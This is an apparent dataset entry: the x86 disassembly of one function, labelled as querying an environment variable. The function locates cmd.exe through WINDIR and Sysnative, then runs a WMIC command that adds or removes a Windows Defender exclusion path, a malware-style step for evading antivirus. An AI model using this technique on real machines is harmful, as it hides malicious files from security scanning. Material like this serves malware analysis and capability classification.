Function at 0x41dc30
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0xc], 0
call fcn.004aba60
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.004abd50
sub esp, 8
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
call fcn.004abac0
call fcn.004abac0
call fcn.004abb10
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], edx
call fcn.004a9a10
sub esp, 0xc
call fcn.004abf70
call fcn.004abbc0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xb1c930
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.004abda0
test eax, eax
je 0x41dd13
call fcn.004abac0
call fcn.004abac0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004a94d0
sub esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x1c], eax
call fcn.004abb10
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004a9ae0
sub esp, 0xc
call fcn.004abb10
mov dword [esp + 4], eax
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.004abc90
sub esp, 8
jmp 0x41dd14
nop
call fcn.00491360
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x63
jle 0x41dfd3
call fcn.004abac0
call fcn.004abac0
call fcn.004abb10
mov dword [esp + 4], eax
mov dword [esp], 0x3e8
call fcn.004a9a90
sub esp, 8
call fcn.004abb10
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.004abc90
sub esp, 8
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
mov edx, str.WINDIR
mov dword [esp + 8], 0x3e8
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetEnvironmentVariableW
sub esp, 0xc
mov dword [ebp - 0x28], eax
call fcn.004abac0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], 0xb29a08
call fcn.004abde0
sub esp, 4
call fcn.004abb10
mov dword [esp + 4], eax
lea eax, [ebp - 0x54]
mov dword [esp], eax
call fcn.004abc90
sub esp, 8
call fcn.004abac0
call fcn.004abac0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], str.Sysnativecmd.exe
call fcn.004abde0
sub esp, 4
call fcn.004abc10
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.00492fe5
sub esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
call fcn.004abb70
mov edx, 0
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jge 0x41de55
call fcn.004abac0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], str.Sysnative
call fcn.004abde0
sub esp, 4
call fcn.004abb10
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.004abc90
sub esp, 8
jmp 0x41de8f
nop
call fcn.004abac0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], 0xb29a08
call fcn.004abde0
sub esp, 4
call fcn.004abb10
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.004abc90
sub esp, 8
cmp dword [ebp + 0xc], 0
jle 0x41df37
call fcn.004abac0
call fcn.004abac0
mov dword [esp], str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
call fcn.004abde0
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], 0xb1afc4
call fcn.004abde0
sub esp, 4
call fcn.004abf70
call fcn.004abac0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.004abde0
sub esp, 4
call fcn.004abc10
mov dword [ebp - 0x3c], eax
call fcn.004abc10
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 0xc], 3
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.004856cb
sub esp, 0x10
mov dword [ebp - 0x44], eax
call fcn.004abb70
jmp 0x41dfd4
nop
call fcn.004abac0
call fcn.004abac0
mov dword [esp], str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
call fcn.004abde0
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], 0xb1afc4
call fcn.004abde0
sub esp, 4
call fcn.004abf70
call fcn.004abac0
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abde0
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.004abde0
sub esp, 4
call fcn.004abc10
mov dword [ebp - 0x48], eax
call fcn.004abc10
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 0xc], 3
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call fcn.004856cb
sub esp, 0x10
mov dword [ebp - 0x50], eax
call fcn.004abb70
jmp 0x41dfd4
nop
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call fcn.004abd20
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.004abd20
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004abd20
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret 8